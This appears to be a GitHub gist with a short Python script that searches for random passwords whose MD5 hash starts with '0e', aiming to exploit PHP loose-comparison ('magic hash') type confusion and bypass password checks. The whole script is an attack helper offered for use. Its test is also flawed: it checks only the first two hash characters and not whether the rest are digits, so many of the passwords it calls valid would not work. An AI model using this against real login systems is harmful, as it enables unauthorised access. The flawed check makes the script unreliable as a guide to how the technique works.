Skip to content

Instantly share code, notes, and snippets.

@ally-petitt
Created September 8, 2023 04:37
Show Gist options
  • Select an option

  • Save ally-petitt/2fdd4f015f2904c4986c89f5b7ed96ff to your computer and use it in GitHub Desktop.

Select an option

Save ally-petitt/2fdd4f015f2904c4986c89f5b7ed96ff to your computer and use it in GitHub Desktop.
generate-valid-passwords.py
# Description: Python script to make passwords that abuse php type confusion
# Author: Ally Petitt
from string import digits, ascii_letters
from hashlib import md5
import random
def generate_password(length=10) -> tuple[str, str]:
chars = digits + ascii_letters
random_pass = ''.join(random.choice(chars) for _ in range(length))
pw_hash = md5(random_pass.encode('utf-8'))
return (random_pass, pw_hash.hexdigest())
i = 0
# find 10 randome passwords that result in the hash we want
while i < 10:
(passw, pw_hash) = generate_password()
if pw_hash[0:2] == "0e":
print(f"Valid Password found: {passw} -> {pw_hash}")
i += 1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment